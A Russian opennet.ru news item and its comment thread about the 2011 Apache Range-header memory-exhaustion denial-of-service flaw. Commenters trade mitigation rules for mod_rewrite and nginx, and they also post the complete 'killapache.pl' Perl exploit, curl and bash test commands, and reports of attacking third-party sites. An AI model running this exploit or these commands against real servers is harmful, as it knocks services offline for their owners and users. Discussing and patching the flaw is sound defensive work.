В http-сервере Apache найдена (http://www.gossamer-threads.com/lists/apache/dev/401638) опасная уязвимость, позволяющая вызвать отказ в обслуживании через исчерпание всей доступной памяти. Опасность уязвимости усугубляется тем, что для её осуществления уже доступен готовый эксплоит (http://seclists.org/fulldisclosure/2011/Aug/175), позволяющий совершить атаку с одной машины с генерацией минимального трафика.
Проблема вызвана ошибкой (https://issues.apache.org/bugzilla/show_bug.cgi?id=51714) в реализации поддержки загрузки части файла по указанному диапазону (Range). Ошибка связана с тем, что при обработке запроса, содержащего большое число диапазонов (например, "Range:bytes=0-,5-1,5-2,5-3,...,5-1000"), расходуется слишком много памяти. Для исчерпания памяти достаточно отправить около 50 подобных запросов на сервер.
Проблема присутствует в Apache 2.x, включая последний релиз 2.2.19. Исправление пока доступно в виде патча (http://www.gossamer-threads.com/lists/apache/dev/401638)...URL: http://secunia.com/advisories/45606/
Новость: http://www.opennet.ru/opennews/art.shtml?num=31582
Какая прелесть :3
У меня на apache-1.3.42 говорит "Host does not seem vulnerable"
Да, твой апач безусловно важен, но тут по близости ещё пара десятков миллионов апачей вертятся ;)
> У меня на apache-1.3.42 говорит "Host does not seem vulnerable"Этот особо-раритетный апач и так легко DoSится запуском ab2/siege/http_load/зажатой F5 в браузере, даже на тощем канале. Просто пускаем к нему пару сотен соединений и забираем из них данные с чебурашьей скоростью. Апач дает дуба, форкнув 200 процессов и съев всю память (если сервер мощный, может потребоваться чуть больше соединений). Какая разница, свалить апач кривыми запросами или 200 соединениями? Обе атаки требуют от атакующего ничтожное количество ресурсов по сравнению с тем что выжрет сервер.
> Какая разница, свалить апач кривыми запросами или 200 соединениями?(косясь на 1.3 за nginx) Кто ж вам даст-то 200 коннекшенов прямо к бэкенду?
> (косясь на 1.3 за nginx) Кто ж вам даст-то 200 коннекшенов прямо к бэкенду?Во-во, костыль подставили - и вроде уже и не инвалид :). Вы б еще кеш на нжинксе настроили и сказали что апач не тормозит :D. Хотя не тормозит - нжинкс. А вот опач будучи вывешенным в интернет как есть - просто находка для юного хаксора.
> А вот опач будучи вывешенным в интернет как есть - просто находка для юного хаксора.Это смотря какой и что за ним дальше болтается... думаю, у меня апач -- не самое вкусное место даже и не для очень юного хаксора. Хотя модуль неуловимости помогает ещё больше. :)
> апач -- не самое вкусное место даже и не для очень юного хаксора.Тем не менее, любителей уронить вывешенный напрямую апач в интернете навалом.
nginx наше фсио
> nginx наше фсиоNginx не поможет, если он в роли фронтенда. Проткстировал на куче своих хостов - результат не однозначный, то-есть 1 и таже машина - 1 хост убивается 1000 форков, другой нет, а точнее - если страница использует сжатие гзипом - то заваливает, если не использует - то всё нормально, на остальных машинах поведение такое-же. Добавление строк в хтаксесс помогает, бешеное количество детей у апача не появляется, значит и память с процом не жрёт ( в тестовом скрипте увеличил количество форков до 1000 ). По сути - на момент запуска скрипта апач выедает весь проц, и за ним всю память, что вполне логично приводит к ддос-у.
> Nginx не поможет, если он в роли фронтенда.Да уж, тут должен доктор помогать. А чем он плох как бэкэнд с fastcgi например?
Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных .htaccess в nginx нет и не будет.Соответственно, там, где они нужны -- например, на shared-хостингах -- nginx+FastCGI -- не выход, увы.
> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных
> .htaccess в nginx нет и не будет.На самом деле, эмулировать .htaccess в nginx достаточно легко. Как правило специфика хостинга не требуют приема изменений из .htaccess в режиме реального времени, а использование .htaccess сводится к редиректам и подключению своих обработчиков несуществующих страниц. Т.е. можно вызывать процесс через cron раз в минуту, проверять появление новых .htaccess и изменение старых, преобразовывать их в формат nginx и подключать к нему итоговый набор созданных на основе .htaccess правил через include.
>> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных
>> .htaccess в nginx нет и не будет.
> На самом деле, эмулировать .htaccess в nginx достаточно легко. Как правило
> специфика хостинга не требуют приема изменений из .htaccess в режиме
> реального времени, а использование .htaccess сводится к редиректам и подключению своих
> обработчиков несуществующих страниц. Т.е. можно вызывать процесс через cron раз в
> минуту, проверять появление новых .htaccess и изменение старых, преобразовывать их в
> формат nginx и подключать к нему итоговый набор созданных на основе
> .htaccess правил через include.Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать .htaccess, мне ставить отдельную машинку под ваше решение?
Если у вас 5 млн. директорий, то хостинг крупный и от ещё одной машинки от вас не убудет, благо оно того стоит. Ну и к тому же можно сделать удобную закладочку в панели хостинга с настройкой этих самых .htaccess по папкам с изменением по запросу.
> Если у вас 5 млн. директорий, то хостинг крупный и от ещё
> одной машинки от вас не убудет, благо оно того стоит. Ну
> и к тому же можно сделать удобную закладочку в панели хостинга
> с настройкой этих самых .htaccess по папкам с изменением по запросу.Да нет, такое можно наблюдать даже у одного достаточно крупного сайта, на одной машинке. Под моим управлением есть сайты с 30млн файлами и 1млн дир. Ну и вы и/о винтов для таких костылей подарите? Это как правило оказывается самым узким местом.
> 1млн дир. Ну и вы и/о винтов для таких костылей подарите?
> Это как правило оказывается самым узким местом.Действительно, на htaccess много лишнего IO делается. Поэтому маздай.
> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать
> .htaccess, мне ставить отдельную машинку под ваше решение?Костыли - это в Apache, который на каждый запрос проверяет наличие .htaccess во всех директориях начиная с текущей и до корня. Вас никто не заставляет каждый раз сканировать все пользовательские директории, достаточно, например, отслеживать изменения, просматривая часть лога FTP с момента прошлого просмотра. Или использовать специфичные для разных ОС механизмы нотификации изменения/создания файла с заданным именем.
>> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать
>> .htaccess, мне ставить отдельную машинку под ваше решение?
> Костыли - это в Apache, который на каждый запрос проверяет наличие .htaccess
> во всех директориях начиная с текущей и до корня.Апач позволяет выбрать то, что нужно вам, а не пользоваться тем, что есть и не изобретать костыли. Если нужно - можете отключить .htaccess, если нужно, то апач может искать .htaccess только в корневой дире виртуалхоста, ну или можно задать поиск по полной.
>Вас никто
> не заставляет каждый раз сканировать все пользовательские директории, достаточно, например,
> отслеживать изменения, просматривая часть лога FTP с момента прошлого просмотра. Или
> использовать специфичные для разных ОС механизмы нотификации изменения/создания файла
> с заданным именем.По вашему это будет работать? ок, пишите, мы посмотрим и оценим.
> По вашему это будет работать? ок, пишите, мы посмотрим и оценим.А вы адресок апача то своего опубликуйте, чтобы окружаюшие могли посмотреть и ОЦЕНИТЬ как оно у вас работает с вашим выбором ;)
> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать
> .htaccess,Вот это я понимаю, костыли так костыли! При том что 5 млн дир и так не подарок, в каждой дергаться на поиск htaccess - вот это и правда мегакостыль. Столько ненужных операций при запросах что просто жесть. Кстати можно вообще сервак выключить, чтоб уж наверняка не осилил запросы обслуживать.
> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных
> .htaccess в nginx нет и не будет.Куда и дорога, пожалуй. Довольно дурное изобретение человечества.
> Соответственно, там, где они нужны -- например, на shared-хостингах -- nginx+FastCGI --
> не выход, увы.А эти общественные туалеты вообще должны умереть лютой смертью. Задолбали уже случаями когда дыра в пионерском сайте приводит к слому сайта пятка солидных контор, просто потому что все валялось в общей помойке и пионерский сайт своей дырой подставил все остальные. Не говоря о том что если один пионер на уроке не поделил с другим ластик или карандаш, может оказаться завалена куча сайтов, просто потому что на том же апаче висел сайт пионера зажавшего карандаш.
> А эти общественные туалеты вообще должны умереть лютой смертью. Задолбали уже случаями когда дыра в пионерском сайте приводит к слому сайта пятка солидных контор, просто потому что все валялось в общей помойке и пионерский сайт своей дырой подставил все остальные. Не говоря о том что если один пионер на уроке не поделил с другим ластик или карандаш, может оказаться завалена куча сайтов, просто потому что на том же апаче висел сайт пионера зажавшего карандаш.Шаред хостинг.. серьезные конторы.. Где подвох?
> Шаред хостинг.. серьезные конторы.. Где подвох?В идиотах-менеджерах, вероятно.
Кстати да, если статику отдаёт nginx или другой сервер, то получится эксплуатировать или нет?
> Кстати да, если статику отдаёт nginx или другой сервер, то получится эксплуатировать
> или нет?Получится, у меня таким образом и построено - нгинкс фронтенд+статика, за ним апачи, каждый в своей клетке. Так вот на статике всё прекрасно, а как только в дело вступает апач с динамикой+сжатие гзипом - то всё, завал апача на бакендах.
а зачем апачи отдают сжатую динамику ? жмите в nginx.
> а зачем апачи отдают сжатую динамику ? жмите в nginx.Не всегда получается отдавать (обрабатывать) через нгинкс, некоторая часть хостов лоадбалансится нгинксом, а обрабатывают всё апачи, то-же самое и с самим нгинксом, он и так всё что может жмёт, и передаёт уже сжатое, но как написал ранее - не всегда такая схема работоспособна.
> Не всегда получается отдавать (обрабатывать) через нгинкс,Тем хуже для вас //Капитан.
>при обработке запроса, содержащего большое число диапазонов...расходуется слишком много памятиКто-нибудь знает, почему так?
header which requests as many
different bytes as possible from a file served by httpd. Combining this with a
gzip "Accept-Encoding" header the httpd is assumed to compress each of the
bytes requested in the Range header seperately consuming large memory regions.
The behaviour when compressing the streams is devestating and can end up in
rendering the underlying operating system unusable when the requests are sent
parallely. Symptomps are swapping to disk and killing of processes including
but not solely httpd processes.
Запрос (в котором заказано сжатие) приходит на отдельные байты (на десятки тысяч байтов), и каждый байт начинает сжиматься отдельно. Запуск десятков тысяч экземпляров упаковщиков (в смысле вызов gz_* функций из libz) и подготовка буферов для них (не удивлюсь, если буфер выделяется с нехилым запасом) приводят к потреблению большого количества памяти и/или созданию большого количества временных файлов.
Т.е. проблема решается последовательной (а не параллельной, как сейчас) обработкой чанков?
> Т.е. проблема решается последовательной (а не параллельной, как сейчас) обработкой чанков?Апачевцы решили эту проблему блестяще - ограничили количество чанков десятью.
"Главное — завалить, а там запинаем." (с)
:)
Это было понятно еще когда они только начали делать бэкэнды с форками на каждого юзера. Поэтому то и рулят нжинкс или лайти + fastcgi. Им все это вообще пофиг, и запросом 100500 копий статики не завалишь. А нжинкс и динамику может весьма прикольно кешировать.
У меня Apache 2.2.17 с Линусовским ядром 3.0.3, ubuntu 11.04 "сработало"
#bash -c 'ulimit -v 10000 -m 4048;service apache2 restart'
И система не грузилась очень (при 200 форках) и веб сервис работал хотя и с замедленными. На 2.2.14 с ядром 2.16.35.14 пришлось увеличивать -m и -v
У меня Apache 2.2.3 c Линуксовым ядром 2.6.18, centos, нет даже лимитс:
[root@801 ~]# limits -a
-bash: limits: команда не найдена
потому что ulimit
Интересно, когда появится апдейт в репах centos.
протестировал у себя на серверахвезде выдало
Host does not seem vulnerableможет просто сайты не использовали gzip хз
апач 2.2.х
Partial не выдают в заголовках. См эксплойт внутри
When using a third party attack tool to verify vulnerability - know that most of the versions in the wild currently check for the presence of mod_deflate; and will (mis)report that your server is not vulnerable if this module is not present. This vulnerability is not dependent on presence or absence of that module.
По-моему, DDoS Апача через исчерпание им всей памяти особой подготовки и специальных условий не требует, это скорее фича, чем баг. Я лично привык уже.
> это скорее фича, чем баг.А это зависит от того за кого вы болеете - за администратора или за атакующего :). Если второе - да, конечно, это фича позволяющая легко уронить неугодный вам сайт :)))
ограничить лимиты юзера под которым работает апач.
в эксплойте ошибка на 74й строке:
if ($#ARGV > 1) {
надо:
if ($#ARGV > 0) {
а еще правильнее:
if ( @ARGV > 1 ) {плюс сохранен под виндой, конец строки виндовый (^M). буеееее...
>плюс сохранен под виндой, конец строки виндовый (^M). буеееее...Да там даже шебанга нет, и так все понятно.
попробуйте на статике использовать
curl -I -H "Range: bytes=0-1,0-2" -s mysite.com/robots.txtHTTP/1.1 206 Partial Content
Server: nginx/0.7.67только вот если проверять статику то выходит ошибка:
perl killapache.pl mysite.com/robots.txt 50
Can't use an undefined value as a symbol reference at killapache.pl line 57.
Кто-нибудь воспроизвел?
Я пытался и на статике и на динамике и на голом апаче и на апаче за энжинксом - не получается, да скрипт генерит такие запросы (Range обрезал):HEAD / HTTP/1.1
Host: mysite.ru
Range:bytes=0-,5-0,...5-129...
Accept-Encoding: gzip
Connection: closeЗапросы поступают, это видно через server-status, но память не исчерпывается, скрипт выводит такое:
# perl killapache_pl.bin mysite.ru 50
host seems vuln
ATTACKING mysite.ru [using 50 forks]
:pPpPpppPpPPppPpppPp
ATTACKING mysite.ru [using 50 forks]
:pPpPpppPpPPppPpppPp
ATTACKING mysite.ru [using 50 forks]
...апачи под фрей крутятся:
# httpd -v
Server version: Apache/2.2.17 (FreeBSD)
Server built: Mar 13 2011 07:43:51
vrt.kz - пример.
> vrt.kz - пример.Его похоже положили серьезно :) Как вообще должен сервак отвечать? должен ли задумываться? должны ли форки не завершаться, а виснуть или просто должны раздуваться в памяти?
Попробовал вручную запустить команду, отрабатывает быстро и ничего не обычного у себя я не вижу (извиняюсь за длинный листинг):
# curl -v -I -H "Range: bytes=0-,5-0,...-1299" -H "Accept-Encoding: gzip" -H "Connection: close" -s mysite.ru
* About to connect() to mysite.ru port 80 (#0)
* Trying 1.1.1.1... connected
* Connected to mysite.ru (1.1.1.1) port 80 (#0)
> HEAD / HTTP/1.1
> User-Agent: curl/7.19.6 (i386-portbld-freebsd8.0) libcurl/7.19.6 OpenSSL/0.9.8q zlib/1.2.3
> Host: mysite.ru
> Accept: */*
> Range: bytes=0-,5-0,5-1,...5-1299
> Accept-Encoding: gzip
> Connection: close
>< HTTP/1.1 206 Partial Content
HTTP/1.1 206 Partial Content
< Date: Thu, 25 Aug 2011 08:19:51 GMT
Date: Thu, 25 Aug 2011 08:19:51 GMT
< Server: Apache
Server: Apache
< Set-Cookie: PHPSESSID=4efd497021eaf2fb4541fdd7858cb075; path=/
Set-Cookie: PHPSESSID=4efd497021eaf2fb4541fdd7858cb075; path=/
< Vary: Accept-Encoding,User-Agent
Vary: Accept-Encoding,User-Agent
< Content-Encoding: gzip
Content-Encoding: gzip
< Content-Length: 104705
Content-Length: 104705
< Connection: close
Connection: close
< Content-Type: multipart/byteranges; boundary=4ab5017c3c4a7f657
Content-Type: multipart/byteranges; boundary=4ab5017c3c4a7f657<
* Closing connection #0
думаю, так: быстро-быстро-быстро, опа, память кончилась.
У сервера заканчивается свободная память, потом и своп, а потом возможны варианты.
> У сервера заканчивается свободная память, потом и своп, а потом возможны варианты.Во сколько потоков не запускаю - не вижу этого, хоть убейте.
Там ошибка не только в 74 строке, тут скрипт справлен
http://paste.org.ru/?v4he2b
Но всеравно вылетает ошибка
http://paste.org.ru/?emh2p8
если у кого остался апач версии 1.3, то пробелы нужно прописывать вот так:
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)([[:space:]]*,[[:space:]]*[0-9]*-[0-9]*)+иначе не работает, у меня, по крайней мере именно так.
Для nginx-фронтенда можно сделать так:
В глобальную секцию(http или server) пишем:
set $range $http_range;
if ($http_range ~ "0-(,|$)"){
set $range "";
}if ($http_range ~ "(.*,.*){4,}"){
set $range "";
}
И в каждую секцию location, которая проксирует на apache добавляем:proxy_set_header "Range" $range;
Печально: даже www.apache.org реагирует на эту атаку.
> Печально: даже www.apache.org реагирует на эту атаку.That's what should be called EPIC fail!
Скрипт не дает выбрать конкретный урл на файл.
Кто в теме подскажите.
> Скрипт не дает выбрать конкретный урл на файл.
> Кто в теме подскажите.чего?
Выше изложенные варианты через mod_rewrite убоги.
Вот вариант блокирующие более 4 диапазонов, без возможности "обхода":~~~~~~~~~~~~~~
RewriteCond %{HTTP:Range} (\s*)(bytes|\w+?)(\s*)=(\s*)((\d*)(\s*)-(\s*)(\d*)(\s*)(,*)(\s*)){4,} [NC]
RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F]
~~~~~~~~~~~~~~
Чем второй вариант не угодил?
> Чем второй вариант не угодил?Тем что укажи пробел, или убери символ и все - защита не работает.
>Тем что укажи пробел, или убери символ и все - защита не работает.Второй из представленных в новости вариантов защищает от таких ситуаций не хуже вашего и при этом проще.
>>Тем что укажи пробел, или убери символ и все - защита не работает.
> Второй из представленных в новости вариантов защищает от таких ситуаций не хуже
> вашего и при этом проще.Вчера по нехватки времени вставлял шаблоны региксов и уже не помню какой и где чем болеет, пришлось писать свой чтобы не было обхода из-за пробелов.
Так же мой вариант предоставляет указать число допустимых диапозонов (то есть не убивая сам факт докачки), а так же по протоколу слово "bytes" не единственное(которые практически не используются, но допускаются).Я не претендую на совершенство шаблона регикса, просто меня взбесила такая не серьезно заглушки, которая обходиться вставив табуляцию, пробел...
Вот что-то нахерачил на баше:seq 2 100 | xargs -I _ sh -c "echo -n \",\$((_-1))-_\"" | xargs -t -I _ sh -c "curl -s -I -H \"Range: bytes=0-1_\" -H \"Accept-Encoding: gzip\" -H \"Connection: close\" http://www.opennet.ru/" | fgrep Partial
Но из тех, кто выдавал партиал, что-то еще ни один не упал, если грузить не только хедеры. Я неправильно понял задумку или просто не нашел ни одного уязвимого сайта?
#!/usr/bin/perl
#
use IO::Socket;
use Parallel::ForkManager;sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {$p .= ",5-$k";}for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp');$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
if ( defined($sock) ) { print $sock $p; }while(<$sock>) {
}$pm->finish;
}$pm->wait_all_children;
print "YES!!!\n";
}if (@ARGV < 0) {usage; exit;}
if (@ARGV > 1) {$numforks = $ARGV[1]; } else {$numforks = 50;}
while(1) {killapache();}
Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где эта атака сработала бы.
> Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где
> эта атака сработала бы.Учтя что оно работает даже на сайте опача :))) здесь что-то не так. Может быть, у вас в компании не используется апач? :)
>> Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где
>> эта атака сработала бы.
> Учтя что оно работает даже на сайте опача :))) здесь что-то не
> так. Может быть, у вас в компании не используется апач? :)Нет, у нас почти везде есть какой-то front-end, слишком большие нагрузки.
> Ветка Apache 1.3.x также подвержена проблеме, но исправление для неё выпущено не будет, так как поддержка данной ветки прекращена.Врут? Не вижу никаких проблем с apache 1.3.x vs apache2 с выключенным gzip.
Тестировал на одном файле и одном железе, заголовки ответа отдают одинаковые.
Вот только apache2 жрет 82MB RSS на запрос и отдает 10 запросов в секунду,
а в apache1 потребление памяти не увеличивается и отдается ~500 запросов
в секунду.4674 1.4 3.9 99444 82080 ? S 13:58 0:00 apache2
30401 0.0 0.2 7864 5248 ? S 13:57 0:00 httpd
Да, я у себя тоже нашёл сервак с apache 1.3.41 (из портов FreeBSD), проверил, не работает атака. ОЗУ там гиг всегоНашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.
Остальные сервера закрыты nginx-ом или lighttpd.
>Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.Вероятно плохо проверял, надо на статике проверять.
2.2.16 из репозитория Debian -подвержен.
>>Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.
> Вероятно плохо проверял, надо на статике проверять.
> 2.2.16 из репозитория Debian -подвержен.Ну, мне лень разбираться почему не сработало. Но насколько я помню, там gzip в apache отключен, т.е. да, эксперимент некорректен, извиняюсь.
> Ну, мне лень разбираться почему не сработало.И на этом основании делаются выводы о том что атака не работает? Весьма блондинистый подход к вопросу.
>> Ну, мне лень разбираться почему не сработало.
> И на этом основании делаются выводы о том что атака не работает?
> Весьма блондинистый подход к вопросу.Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что скорее всего не так.
>>> Ну, мне лень разбираться почему не сработало.
>> И на этом основании делаются выводы о том что атака не работает?
>> Весьма блондинистый подход к вопросу.
> Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что
> скорее всего не так.Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;)
>>>> Ну, мне лень разбираться почему не сработало.
>>> И на этом основании делаются выводы о том что атака не работает?
>>> Весьма блондинистый подход к вопросу.
>> Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что
>> скорее всего не так.
> Давай, делись адресочком своих серверов, а мы уже как нить да и
> посмотрим ;)Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика". И если я уже озвучил версии ПО, то из соображений безопасности я обязан вам не говорить адреса серверов :)
> Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика".
> И если я уже озвучил версии ПО, то из соображений безопасности
> я обязан вам не говорить адреса серверов :)Если Ваша защита базируется на незнании версий ПО заинтересованной стороной, то грош-цена такой защите.
Вот например в банковском секторе используются криптоалгоритмы которые "открыты" изначально (не опенсорс но всем известны).
И это только добавляет уверенности в их надежности.Что касается конкретно данного бага/фичи/дырки в апаче, могу вас уверить - падают практически все апачи установленные с параметрами по умолчанию. И очень многие с дополнительными плюшками защиты. Скорость падения зависит в основном от ресурсов сервера.
>> Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика".
>> И если я уже озвучил версии ПО, то из соображений безопасности
>> я обязан вам не говорить адреса серверов :)
> Если Ваша защита базируется на незнании версий ПО заинтересованной стороной, то грош-цена
> такой защите.
> Вот например в банковском секторе используются криптоалгоритмы которые "открыты" изначально
> (не опенсорс но всем известны).
> И это только добавляет уверенности в их надежности.Я что-то не понял, я разве сказал, что защита на этом базируется? Это одна из мелких, но вполне разумных мер предосторожности.
> Что касается конкретно данного бага/фичи/дырки в апаче, могу вас уверить - падают
> практически все апачи установленные с параметрами по умолчанию. И очень многие
> с дополнительными плюшками защиты. Скорость падения зависит в основном от ресурсов
> сервера.Верю. Как я сказал, мне повезло. Обычные меры предосторожности (отключение лишних модулей и т.п.) помогли.
> Если Ваша защита базируется на незнании версий ПО заинтересованной стороной,
> то грош-цена такой защите.Если Вы делаете такие выводы, то грош цена как раз им.
> Вот например в банковском секторе [...] уверенности
Ой, вот только не надо про банки и прочих локхидмартинов.
> Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;)У этого наивного чукотского юноши адресок с серверами кажется прямо в профайле указан - http://dxhosting.ru :). И при этом он ухитряется играть в прятки, лол :)
>> Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;)
> У этого наивного чукотского юноши адресок с серверами кажется прямо в профайле
> указан - http://dxhosting.ru :). И при этом он ухитряется играть в
> прятки, лол :)Я ещё раз повторяю (предыдущие такое же замечание было удалено модераторами). Я работаю НЕ в http://dxhosting.ru. Да и даже если я скажу где я работаю, это всё-равно не даст вам возможности узнать адреса тех серверов, которые я упоминал. А dxhosting - это лишь хобби. "лол". Что ж вы все такие наивные то?
> Врут? Не вижу никаких проблем с apache 1.3.xУ меня такое ощущение уже несколько лет, что какие-то к... колхозники из числа бывших студентов, дорвавшихся до кодовой базы apache-2.0, упор{н,от}о пытаются закопать этот работающий production код, чтоб их поде^H^Wтворение поскорей расползлось.
>> Врут? Не вижу никаких проблем с apache 1.3.x
> У меня такое ощущение уже несколько лет+100. У меня до сих пор почти везде 1.3.x. Но,
к сожалению, закапывают они довольно успешно. :(
У меня такая проблема:
При использовании SetEnvIf для Apache 2.0 и 2.2:
выдает header unset takes two arguments
в строке RequestHeader unset Range env=bad-range
как починить?Apache/2.0.63
заменить на
RequestHeader set Range "badrange" env=bad-range